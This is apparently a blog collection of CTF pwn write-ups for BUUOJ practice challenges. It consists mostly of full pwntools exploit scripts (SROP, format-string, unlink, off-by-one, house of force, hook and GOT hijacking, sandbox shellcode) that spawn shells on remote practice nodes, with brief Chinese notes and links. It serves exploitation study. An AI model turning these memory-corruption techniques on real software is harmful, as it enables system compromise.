BUUOJ PWN EXERCISE
#  rootersctf_2019_srop(srop)#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 from  pwn import  *sh = process("rootersctf_2019_srop" ) context.update(arch="amd64" , os="linux" , endian="little" ) data_addr = 0x402000  syscall_leave_ret = 0x401033  pop_rax_syscall_leave_ret = 0x401032  syscall_addr = 0x401046  frame = SigreturnFrame(kernel="amd64" ) frame.rax = 0   frame.rdi = 0   frame.rsi = data_addr frame.rdx = 0x400  frame.rip = syscall_leave_ret frame.rbp = data_addr + 0x20  layout = [0x88  * "a" , pop_rax_syscall_leave_ret, 0xf , bytes (frame)] sh.sendlineafter("Hey, can i get some feedback for the CTF?\n" , flat(layout)) layout = ["/bin/sh\x00" , "a"  * 0x20 , pop_rax_syscall_leave_ret, 0xf ] frame = SigreturnFrame(kernel="amd64" ) frame.rax = 59   frame.rdi = data_addr  frame.rsi = 0  frame.rdx = 0  frame.rip = syscall_addr layout.append(bytes (frame)) sh.sendline(flat(layout)) sh.interactive() 
#  参考文章https://blog.csdn.net/weixin_46521144/article/details/120714498 
https://www.cnblogs.com/LynneHuan/p/14723605.html#exp 
#  qctf_2018_stack2(数组越界)#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 from  pwn import  *                             context(log_level = 'debug' )                                                                  sh = remote("node3.buuoj.cn" ,"28924" )                                                         sh.sendlineafter('have:\n' ,'0' )                                                               sh.sendlineafter('5. exit\n' ,'3' )              sh.sendlineafter('change:\n' ,str (116  + 0x10 ))    sh.sendlineafter('number:\n' ,str (0x9b ))                                                       sh.sendlineafter('5. exit\n' ,'3' )              sh.sendlineafter('change:\n' ,str (117  + 0x10 ))    sh.sendlineafter('number:\n' ,str (0x85 ))                                                       sh.sendlineafter('5. exit\n' ,'3' )              sh.sendlineafter('change:\n' ,str (118  + 0x10 ))    sh.sendlineafter('number:\n' ,str (0x04 ))                                                       sh.sendlineafter('5. exit\n' ,'3' )              sh.sendlineafter('change:\n' ,str (119  + 0x10 ))    sh.sendlineafter('number:\n' ,str (0x08 ))                                                       sh.sendlineafter('5. exit\n' ,'5' )              sh.interactive()                                 
#  hfctf_2020_marksman(exit_hook)#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 from  pwn import  *import  functoolsLOG_ADDR = lambda  x, y: log.success('{} ===> {}' .format (x, hex (y))) int16 = functools.partial(int , base=16 ) sh = remote('node4.buuoj.cn' ,27982 ) sh.recvuntil("I placed the target near: " ) msg = sh.recvline() puts_addr = int16(msg[:-1 ].decode()) LOG_ADDR("puts_addr" , puts_addr) libc_base_addr = puts_addr - 0x809c0  LOG_ADDR("libc_base_addr" , libc_base_addr) one_gadget1 = libc_base_addr + 0x10a387  __rtld_lock_unlock_recursive_offset = 0x81df60  target_addr = libc_base_addr + __rtld_lock_unlock_recursive_offset sh.sendlineafter("shoot!shoot!\n" , str (target_addr)) input_gadget = one_gadget1 for  _ in  range (3 ):    sh.sendlineafter("biang!\n" , chr (input_gadget & 0xff ))     input_gadget = input_gadget >> 8  sh.interactive() 
#  参考文章Python 中的 functools 
#  picoctf_2018_echooo (32 位格式化字符串)#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 from  pwn import  *p=remote('node4.buuoj.cn' ,28387 ) offset=11  flag=''  for  i in  range (27 ,27 +11 ):    payload='%{}$p' .format (str (i))     p.sendlineafter('> ' ,payload)     aim=unhex(p.recvuntil('\n' ,drop=True ).replace('0x' ,'' ))     flag+=aim[::-1 ] print  flagp.interactive() 
#  npuctf_2020_level2 (args 上的格式化字符串漏洞)#  程序分析
#  漏洞利用
漏洞点为 printf 格式化字符串部分,但 buf 在 bss 段不在栈上因而不能通过填地址来写入,需要借助地址链分批次写入
#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 from  pwn import  *import  functoolsLOG_ADDR = lambda  x, y: log.success('{} ===> {}' .format (x, hex (y))) int16 = functools.partial(int , base=16 ) context.update(arch='amd64' , os='linux' , endian='little' ) sh = remote('node4.buuoj.cn' ,27290 ) sh.sendline("%9$p,%24$p" ) msg = sh.recvline() stack_addr, libc_addr = msg[:-1 ].split(b',' ) stack_addr = int16(stack_addr.decode()) libc_addr = int16(libc_addr.decode()) LOG_ADDR('stack_addr' , stack_addr) LOG_ADDR('libc_addr' , libc_addr) stack_ret_addr = stack_addr - 0xe0  libc_base_addr = libc_addr - 0x3e7638  LOG_ADDR('stack_ret_addr' , stack_ret_addr) LOG_ADDR('libc_base_addr' , libc_base_addr) gadgets = [0x4f2c5 , 0x4f322 , 0x10a38c ] one_gadget = libc_base_addr + gadgets[0 ] LOG_ADDR('one_gadget' , one_gadget) sleep(1 ) payload = "%{}c%9$hn" .format ((stack_ret_addr & 0xffff )) sh.sendline(payload) sh.recv() for  _ in  range (2 ):    sh.sendline('a'  * 0x30 )     sh.recv()     sleep(2 ) payload = "%{}c%35$hn" .format ((one_gadget & 0xffff )) + 'a'  * 0x10  sh.sendline(payload) sh.recv() sleep(2 ) for  _ in  range (2 ):    sh.sendline('a'  * 0x30 )     sh.recv()     sleep(2 ) payload = "%{}c%9$hhn" .format ((stack_ret_addr & 0xff ) + 2 ) sh.sendline(payload) sh.recv() sleep(2 ) for  _ in  range (2 ):    sh.sendline('a'  * 0x30 )     sh.recv()     sleep(2 ) payload = "%{}c%35$hhn" .format (((one_gadget >> 16 ) & 0xff )) + 'a'  * 0x10  sh.sendline(payload) sh.recv() sleep(2 ) for  _ in  range (2 ):    sh.sendline('a'  * 0x30 )     sh.recv()     sleep(2 ) sh.send("6"  * 8  + '\x00'  * 8 ) sleep(3 ) sh.sendline("cat flag" ) sh.interactive() 
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 from  pwn import  *p=remote('node4.buuoj.cn' ,27290 ) libc=ELF('./libc-2.27.so' ) context.log_level='debug'  payload1='%7$p#%9$p@'  p.sendline(payload1) p.recvuntil('0x' ) libc_base=(int (p.recvuntil("#" ,True ),16 ) - 231 )-libc.symbols['__libc_start_main' ] p.recvuntil('0x' ) addr_stack=int (p.recvuntil("@" ,True ),16 )-0xe0  one_gadgets = [0x4f2c5 ,0x4f322 ,0x10a38c ] one_gadget=one_gadgets[1 ]+libc_base stackbase = addr_stack & 0xffff  p.sendlineafter('\n' , '%'  + str (stackbase) + 'c%9$hn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str (one_gadget&0xff )+'c%35$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str (stackbase+1 )+'c%9$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str ((one_gadget>>8 )&0xffff )+'c%35$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str (stackbase+2 )+'c%9$hhn\x00' ) p.sendlineafter('\x20\x20\xb4' , '%' +str ((one_gadget>>16 )&0xff )+'c%35$hhn\x00' ) p.sendline('66666666\x00' ) print (hex (libc.symbols['__libc_start_main' ]))p.interactive() 
#  asis2016_b00ks(off-by-null)#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 from  pwn import  *r = remote("node4.buuoj.cn" , 28085 ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) DEBUG = 0  if  DEBUG:    gdb.attach(r,      '''       b *$rebase(0x1245)     x/20gx $rebase(0x202040)     c     ''' )elf = ELF("./b00ks" ) libc = ELF('./libc-2.23.so' ) one_gadget_16 = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] menu = "> "  def  add (size1, content1, size2, content2 ):    r.recvuntil(menu)     r.sendline('1' )     r.recvuntil("Enter book name size: " )     r.sendline(str (size1))     r.recvuntil("Enter book name (Max 32 chars): " )     r.send(content1)     r.recvuntil("Enter book description size: " )     r.sendline(str (size2))     r.recvuntil("Enter book description: " )     r.send(content2) def  delete (index ):    r.recvuntil(menu)     r.sendline('2' )     r.recvuntil("Enter the book id you want to delete: " )     r.sendline(str (index)) def  edit (index, content ):    r.recvuntil(menu)     r.sendline('3' )     r.recvuntil("Enter the book id you want to edit: " )     r.sendline(str (index))     r.recvuntil("Enter new book description: " )     r.send(content) def  show ():    r.recvuntil(menu)     r.sendline('4' ) def  edit_name (name ):    r.recvuntil(menu)     r.sendline('5' )     r.recvuntil("Enter author name: " )     r.send(name) r.recvuntil("Enter author name: " ) r.send('a' *0x20 +'\n' ) add(0x90 , 'aa\n' , 0x90 , 'aa\n' ) add(0x21000 , 'aa\n' , 0x21000 , 'aa\n' ) show() r.recvuntil('a' *0x20 ) heap = u64(r.recvuntil('\n' ).strip().ljust(8 , '\x00' )) - 0x160  success("heap:" +hex (heap)) payload = 'a'  * 0x40  + p64(1 ) + p64(heap+0x198 )*2  + p64(0xffff ) + '\n'  edit(1 , payload) edit_name('a' *0x20  + '\n' ) show() r.recvuntil("Name: " ) offset = 0x7f4875e6a010  - 0x7f48758a4000  libc.address = u64(r.recvuntil('\x7f' ).ljust(8 , '\x00' )) - offset success("libc:" +hex (libc.address)) free_hook = libc.sym['__free_hook' ] system = libc.sym['system' ] bin_sh = libc.search("/bin/sh" ).next () edit(1 , p64(bin_sh) + p64(free_hook) + '\n' ) edit(2 , p64(system)+'\n' ) delete(2 ) r.interactive() 
#  babyfengshui_33c3_2016#  程序分析
checksec 后可以看到 relro 保护没开,可以劫持函数 got 表
由于是 *(&ptr+a1)-4  是靠偏移来确定大小的,所以也就只有在 name 堆块与 text 堆块在物理地址相邻时才有作用,因此我们可以通过 delete 函数删除一个 user 便可以使程序连续 free 掉两个堆块,从而使两个 0x88 的堆块合并成为一个 0x110  的堆块
进而我们再次使用 add 添加数据的时候,第一次输入的 name 设置大小为 0x100 就可以使 name 与 text 堆块物理不相邻,这样一来我们的 text 字段便可输入任意大小的数据
接下来就可以对能够造成溢出的 name 堆块填充大量的数据覆盖到下一个 user 的 name 字段中,来控制下一个 user 中的 text 地址指向
最后便可以控制该 text 指向某个函数的 got 表地址,即可劫持函数的 got 表指向 system 函数。
#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 from  pwn import  *from  LibcSearcher import  LibcSearchercontext.log_level='debug'  p=process('./babyfengshui' ) elf=ELF('./babyfengshui' ) free_got=elf.got['free' ] def  add (size,name,length,text ):    p.recvuntil("Action: " )     p.sendline("0" )     p.sendlineafter("size of description: " ,str (size))     p.sendlineafter("name: " ,name)     p.recvuntil("text length:" )     p.sendline(str (length))     p.recvuntil("text:" )     p.sendline(text) def  delete (index ):    p.recvuntil("Action: " )     p.sendline("1" )     p.recvuntil("index: " )     p.sendline(str (index)) def  show (index ):    p.recvuntil("Action: " )     p.sendline("2" )     p.recvuntil("index: " )     p.sendline(str (index)) def  update (index,length,text ):    p.recvuntil("Action: " )     p.sendline("3" )     p.recvuntil("index: " )     p.sendline(str (index))     p.recvuntil("text length: " )     p.sendline(str (length))     p.recvuntil("text: " )     p.sendline(text) add(0x80 ,"nam1" ,0x80 ,"aaaa" ) add(0x80 ,"nam2" ,0x80 ,"bbbb" ) add(0x80 ,"nam3" ,0x80 ,"/bin/sh\x00" )   delete(0 ) add(0x100 ,'nam1' ,0x100 ,"cccc" ) payload='a' *0x108 +'a' *0x8 +'a' *0x80 +'a' *0x8 +p32(free_got) update(3 ,0x200 ,payload) show(1 ) p.recvuntil("description: " ) free_addr=u32(p.recv(4 )) libc=LibcSearcher("free" ,free_addr) libc_base=free_addr-libc.dump("free" ) system_addr=libc_base+libc.dump("system" ) update(1 ,0x80 ,p32(system_addr)) delete(2 ) p.interactive() 
#  gyctf_2020_borrowstack (栈迁移)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 from  pwn import  *from  LibcSearcher import  *r=remote('node3.buuoj.cn' ,29385 ) bank=0x0601080  leave=0x400699  puts_plt=0x04004E0  puts_got=0x0601018  pop_rdi=0x400703  main=0x0400626  ret=0x4004c9  r.recvuntil('u want' ) payload='a' *0x60 +p64(bank)+p64(leave) r.send(payload) r.recvuntil('now!' ) payload=p64(ret)*20 +p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) r.send(payload) r.recvline() puts_addr=u64(r.recv(6 ).ljust(8 ,'\x00' )) print  hex (puts_addr)libc=LibcSearcher('puts' ,puts_addr) libc_base=puts_addr-libc.dump('puts' ) one_gadget=libc_base+0x4526a  payload='a' *(0x60 +8 )+p64(one_gadget) r.send(payload) r.interactive() 
#  hitcontraining_magicheap(unsorted bin attack)
Unsorted Bin Attack,顾名思义,该攻击与 Glibc 堆管理中的的 Unsorted Bin 的机制紧密相关。
初始状态时 unsorted bin 的 fd 和 bk 均指向 unsorted bin 本身。
 
#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 from  pwn import  *p=remote('node4.buuoj.cn' ,26349 ) def  CreateHeap (size,content ):	p.recvuntil(':' ) 	p.sendline('1' ) 	p.recvuntil(':' ) 	p.sendline(str (size)) 	p.recvuntil(':' ) 	p.sendline(content)   def  EditHeap (idx,size,content ):	p.recvuntil(':' ) 	p.sendline('2' ) 	p.recvuntil(':' ) 	p.sendline(str (idx)) 	p.recvuntil(':' ) 	p.sendline(str (size)) 	p.recvuntil(':' ) 	p.sendline(content)   def  DeleteHeap (idx ):	p.recvuntil(':' ) 	p.sendline('3' ) 	p.recvuntil(':' ) 	p.sendline(str (idx)) CreateHeap(0x30 ,'aaaa' ) CreateHeap(0x80 ,'bbbb' ) CreateHeap(0x10 ,'cccc' ) DeleteHeap(1 ) magic = 0x6020A0  EditHeap(0 ,0x50 ,0x30  * "a"  + p64(0 )+p64(0x91 )+p64(0 )+p64(magic-0x10 )) CreateHeap(0x80 ,'dddd' )  p.sendlineafter(':' ,'4869' ) p.interactive() 
#  roarctf_2019_easy_pwn(off-by-one)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 from  pwn import  *r=remote('node4.buuoj.cn' ,26307 ) libc=ELF('./libc-2.23.so' ) context.log_level="debug"  def  add (size ):    r.recvuntil('choice: ' )     r.sendline('1' )     r.recvuntil('size:' )     r.sendline(str (size)) def  edit (index,size,data ):    r.recvuntil('choice: ' )     r.sendline('2' )     r.recvuntil('index:' )     r.sendline(str (index))     r.recvuntil('size:' )     r.sendline(str (size))     r.recvuntil('content:' )     r.send(data)   def  delete (index ):    r.recvuntil('choice: ' )     r.sendline('3' )     r.recvuntil('index:' )     r.sendline(str (index))   def  show (index ):    r.recvuntil('choice: ' )     r.sendline('4' )     r.recvuntil('index:' )     r.sendline(str (index))   malloc_hook=libc.symbols['__malloc_hook' ] realloc_hook=libc.symbols['realloc' ] print  hex (malloc_hook)print  hex (realloc_hook)add(0x18 ) add(0x10 ) add(0x90 ) add(0x10 ) edit(0 ,34 ,'a' *0x10 +p64(0x20 )+p8(0xa1 )) edit(2 ,0x80 ,p64(0 )*14 +p64(0xa0 )+p64(0x21 )) delete(1 ) add(0x90 ) edit(1 ,0x20 ,p64(0 )*2 +p64(0 )+p64(0xa1 )) delete(2 )	 show(1 ) r.recvuntil("content: " ) r.recv(0x20 ) libc_base=u64(r.recv(6 ).ljust(8 ,"\x00" ))-0x3c4b78  print  "libc_base:" +hex (libc_base)add(0x80 ) edit(1 ,0x90 ,p64(0 )*2 +p64(0 )+p64(0x71 )+p64(0 )*12 +p64(0x70 )+p64(0x21 )) delete(2 ) edit(1 ,0x30 ,p64(0 )*2 +p64(0 )+p64(0x71 )+p64(malloc_hook+libc_base-0x23 )*2 ) add(0x60 ) add(0x60 ) one_gadgets=[0x45216 ,0x4526a ,0xf1147 ,0xf02a4 ] edit(4 ,27 ,'a' *11 +p64(libc_base+one_gadgets[2 ])+p64(libc_base+realloc_hook+4 ))  add(0x60 ) r.interactive() 
#  hitcontraining_heapcreator(off-by-one)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from  pwn import  *from  LibcSearcher import  LibcSearchersh=remote("node4.buuoj.cn" ,25982 ) elf=ELF('./heapcreator' ) def  create (length,value ):    sh.recvuntil("Your choice :" )     sh.sendline("1" )     sh.recvuntil("Size of Heap : " )     sh.sendline(str (int (length)))     sh.recvuntil("Content of heap:" )     sh.sendline(value) def  edit (index,value ):    sh.recvuntil("Your choice :" )     sh.sendline("2" )     sh.recvuntil("Index :" )     sh.sendline(str (int (index)))     sh.recvuntil("Content of heap : " )     sh.sendline(value) def  show (index ):    sh.recvuntil("Your choice :" )     sh.sendline("3" )     sh.recvuntil("Index :" )     sh.sendline(str (int (index))) def  delete (index ):    sh.recvuntil('Your choice :' )     sh.sendline('4' )     sh.recvuntil('Index :' )     sh.sendline(str (int (index))) create(0x18 ,'aaaa' ) create(0x10 ,'bbbb' ) create(0x10 ,'cccc' ) create(0x10 ,'/bin/sh' ) edit(0 ,'a' *0x18 +'\x81' ) delete(1 ) size = '\x08' .ljust(8 ,'\x00' ) payload = 'd' *0x40 + size + p64(elf.got['free' ]) create(0x70 ,payload) show(2 ) sh.recvuntil('Content : ' ) free_addr = u64(sh.recvuntil('Done' )[:-5 ].ljust(8 ,'\x00' )) libc=LibcSearcher("free" ,free_addr) system_addr=free_addr+libc.dump("system" )-libc.dump("free" ) edit(2 ,p64(system_addr)) delete(3 ) sh.interactive() 
https://blog.csdn.net/weixin_45677731/article/details/107914807 
#  hitcon2014_stkof(unlink)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 from  pwn import  *sh=process("./stkof" ) context.log_level='debug'  elf=ELF('./stkof' ) libc=ELF('./libc-2.23.so' ) puts_plt=elf.plt['puts' ] puts_got=elf.got['puts' ] free=elf.got['free' ] ptr=0x602150  def  alloc (size ):    sh.sendline('1' )     sh.sendline(str (size))     sh.recvuntil('OK\n' ) def  edit (idx, size, content ):    sh.sendline('2' )     sh.sendline(str (idx))     sh.sendline(str (size))     sh.send(content)     sh.recvuntil('OK\n' ) def  delete (idx ):    sh.sendline('3' )     sh.sendline(str (idx))      alloc(0x100 ) alloc(0x20 ) alloc(0x80 ) payload=p64(0 )+p64(0x21 )+p64(ptr-0x18 )+p64(ptr-0x10 ) payload+=p64(0x20 )+p64(0x90 ) edit(2 ,len (payload),payload) delete(3 ) sh.recvuntil('OK' ) payload=p64(0 )+p64(0 )+p64(free)+p64(ptr-0x18 )+p64(puts_got) edit(2 ,len (payload),payload) edit(1 ,8 ,p64(puts_plt)) delete(3 ) base = u64(sh.recv(6 ).ljust(8 ,'\x00' ))-libc.symbols['puts' ] sh.recvuntil('OK' ) system_addr=base+libc.symbols['system' ] payload=p64(0 )+p64(0 )+p64(free)+p64(ptr-0x18 )+p64(ptr+0x10 )+"/bin/sh"  edit(2 ,len (payload),payload) edit(1 ,8 ,p64(system_addr)) delete(3 ) sh.interactive() 
#  zctf2016_note2(unlink)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from  pwn import  *io = remote('node4.buuoj.cn' ,26179 ) elf = ELF("./note2" ) libc = ELF("./libc-2.23.so" ) def  new_note (size, content ):    io.recvuntil(">>" )     io.sendline("1" )     io.recvuntil(")" )     io.sendline(str (size))     io.recvuntil(":" )     io.sendline(content) def  show_note (index ):    io.recvuntil(">>" )     io.sendline("2" )     io.recvuntil(":" )     io.sendline(str (index)) def  edit_note (index, choice, content ):    io.recvuntil(">>" )     io.sendline("3" )     io.recvuntil(":" )     io.sendline(str (index))     io.recvuntil("]" )     io.sendline(str (choice))     io.recvuntil(":" )     io.sendline(content) def  delete_note (index ):    io.recvuntil(">>" )     io.sendline("4" )     io.recvuntil(":" )     io.sendline(str (index)) io.recvuntil(":" ) io.sendline("/bin/sh" )  io.recvuntil(":" ) io.sendline("ddd" ) ptr_0 = 0x602120  fake_fd = ptr_0 - 0x18  fake_bk = ptr_0 - 0x10  note0_content = "\x00"  * 8  + p64(0xa1 ) + p64(fake_fd) + p64(fake_bk) new_note(0x80 , note0_content)  new_note(0x0 , "aa" )  new_note(0x80 , "/bin/sh" )  delete_note(1 ) note1_content = "\x00"  * 16  + p64(0xa0 ) + p64(0x90 ) new_note(0x0 , note1_content) delete_note(2 )  free_got = elf.got["free" ] payload = 0x18  * "a"  + p64(free_got) edit_note(0 , 1 , payload) show_note(0 ) io.recvuntil("is " ) free_addr = u64(io.recv(6 ).ljust(8 , "\x00" )) libc_addr = free_addr - libc.symbols["free" ] print ("libc address: "  + hex (libc_addr))system_addr = libc_addr + libc.symbols["system" ] one_gadget = libc_addr + 0xf02a4  edit_note(0 , 1 , p64(one_gadget))  io.interactive() 
#  wdb_2018_1st_babyheap(unlink,uaf)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 from  pwn import  *r = remote("node4.buuoj.cn" , 26136 ) context(log_level = 'debug' , arch = 'amd64' , os = 'linux' ) DEBUG = 0  if  DEBUG:	gdb.attach(r,  	'''	  	b *0x400CF7 	x/10gx 0x602060 	c 	''' )elf = ELF("./wdb_2018_1st_babyheap" ) libc = ELF('./libc-2.23.so' ) one_gadget_16 = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] bss_arr = 0x602060  read_got = elf.got['read' ] menu = "Choice:"  def  add (index, content ):	r.recvuntil(menu) 	r.sendline('1' ) 	r.recvuntil("Index:" ) 	r.sendline(str (index)) 	r.recvuntil("Content:" ) 	r.send(content) def  delete (index ):	r.recvuntil(menu) 	r.sendline('4' ) 	r.recvuntil("Index:" ) 	r.sendline(str (index)) def  edit (index, content ):	r.recvuntil(menu) 	r.sendline('2' ) 	r.recvuntil("Index:" ) 	r.sendline(str (index)) 	r.recvuntil("Content:" ) 	r.send(content) def  show (index ):	r.recvuntil(menu) 	r.sendline('3' ) 	r.recvuntil("Index:" ) 	r.sendline(str (index)) sleep(3 ) add(0 , (p64(0 )+p64(0x31 ))*2 ) add(1 , 'aaa\n' ) add(2 , 'aaa\n' ) add(3 , 'aaa\n' ) add(4 , '/bin/sh\n' ) delete(0 ) delete(1 ) delete(0 ) show(0 ) heap = u64(r.recvuntil('\n' ).strip().ljust(8 , '\x00' )) - 0x30  success("heap:" +hex (heap)) edit(0 , p64(heap+0x10 )+'\n' ) add(5 , p64(0 ) + p64(0x31 ) + p64(heap) + p64(bss_arr-0x10 )) payload = p64(bss_arr-0x18 ) + p64(bss_arr-0x10 ) + p64(0x20 ) + p64(0x90 ) add(6 , payload) add(7 , p64(0 ) + p64(0x21 ) + p64(bss_arr-0x18 ) + p64(bss_arr-0x10 )) delete(1 ) show(6 ) malloc_hook = u64(r.recvuntil('\x7f' ).ljust(8 , '\x00' )) - 0x58  - 0x10  libc.address = malloc_hook - libc.sym['__malloc_hook' ] success("libc;" +hex (libc.address)) system = libc.symbols['system' ] free_hook = libc.sym['__free_hook' ] edit(0 , p64(0 )*3 +p64(free_hook)) edit(0 , p64(system)+'\n' ) delete(4 ) r.interactive() 
#  axb_2019_fmt64(64 位格式化字符串改 got 表)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 from  pwn import  *context.log_level = 'debug'  io = process('axb_2019_fmt64' ) elf = ELF('./axb_2019_fmt64' ) libc = ELF('./libc-2.23.so' ) one_gadget = [0x45216 ,0x4526a ,0xf02a4 ,0xf1147 ] sprintf_got = elf.got['sprintf' ] payload = '%9$saaaa'  payload += p64(sprintf_got) io.recvuntil("Please tell me:" ) io.sendline(payload) sprintf_addr = u64(io.recvuntil('\x7f' )[-6 :].ljust(8 ,'\x00' )) print  "sprintf_addr:" +hex (sprintf_addr)libcbase = sprintf_addr - libc.symbols['sprintf' ] one_gadget = libcbase + one_gadget[0 ] print  "one_gadget:" +hex (one_gadget)payload = ''  payload += '%'  + str ((one_gadget % 0x10000 ) - 9 ) + 'c%12$hn'  payload += '%'  + str (((one_gadget >> 16 ) % 0x10000 ) - (one_gadget % 0x10000 )) + 'c%13$hn'  payload = payload.ljust(0x20 ,'\x00' ) payload += p64(sprintf_got) + p64(sprintf_got + 2 ) print  'payload:' +payloadio.sendline(payload) io.interactive() 
#  pwnable_asm(沙箱)#  sandbox 概述沙盒机制也就是我们常说的沙箱,英文名 sandbox,是计算机领域的虚拟技术,常见于安全方向。一般说来,我们会将不受信任的软件放在沙箱中运行,一旦该软件有恶意行为,则禁止该程序的进一步运行,不会对真实系统造成任何危害。
使用 seccomp-tools 检查沙盒机制,可以看到先是判断了体系架构是否是 x86_64 的,然后对系统调用号进行了判断,只允许了 read/write/open/exit 四种系统调用。
#  EXP1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from  pwn import  *import  syscontext.log_level = "debug"  context.arch = 'amd64'  context.os = 'linux'  sh = remote("node4.buuoj.cn" ,"26693" ) shellcode = shellcraft.pushstr("flag" ) shellcode += shellcraft.open ("rsp" ) shellcode += shellcraft.read('rax' , 'rsp' , 100 ) shellcode += shellcraft.write(1 , 'rsp' , 100 ) sh.sendlineafter("shellcode: " , asm(shellcode)) print  sh.recvall()sh.close() 
参考文章:https://blog.csdn.net/A951860555/article/details/116738676 
#  bctf2016_bcloud(house of force)1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 from  pwn import  *from  LibcSearcher import  *  sh = process('./bcloud' ) elf = ELF('./bcloud' ) puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] free_got = elf.got['free' ] heap_array_addr = 0x0804B120  sh.sendafter('Input your name:' ,'a' *0x40 ) sh.recvuntil('a' *0x40 ) heap_addr = u32(sh.recv(4 )) print  'heap_addr=' ,hex (heap_addr)sh.sendafter('Org:' ,'a' *0x40 ) sh.sendlineafter('Host:' ,p32(0xFFFFFFFF )) top_chunk_addr = heap_addr + 0xD0  print  'top_chunk_addr=' ,hex (top_chunk_addr)  def  add (size,content ):   sh.sendlineafter('option--->>' ,'1' )    sh.sendlineafter('Input the length of the note content:' ,str (size))    sh.sendafter('Input the content:' ,content)   def  edit (index,content ):   sh.sendlineafter('option--->>' ,'3' )    sh.sendlineafter('Input the id:' ,str (index))    sh.sendafter('Input the new content:' ,content)   def  delete (index ):   sh.sendlineafter('option--->>' ,'4' )    sh.sendlineafter('Input the id:' ,str (index)) offset = heap_array_addr - top_chunk_addr - 0x10  add(offset,'' )  add(0x18 ,'\n' )    edit(1 ,p32(0 ) + p32(free_got) + p32(puts_got) + p32(0x0804B130 ) + '/bin/sh\x00' ) edit(1 ,p32(puts_plt) + '\n' ) delete(2 ) sh.recv(1 ) puts_addr = u32(sh.recv(4 )) libc = LibcSearcher('puts' ,puts_addr) libc_base = puts_addr - libc.dump('puts' ) system_addr = libc_base + libc.dump('system' ) print  'libc_base=' ,hex (libc_base)print  'system_addr=' ,hex (system_addr)edit(1 ,p32(system_addr) + '\n' ) delete(3 )   sh.interactive() 
参考文章 
https://snappyjack.github.io/articles/2019-12/BCTF2016_bcloud 
https://blog.csdn.net/csdn546229768/article/details/122725993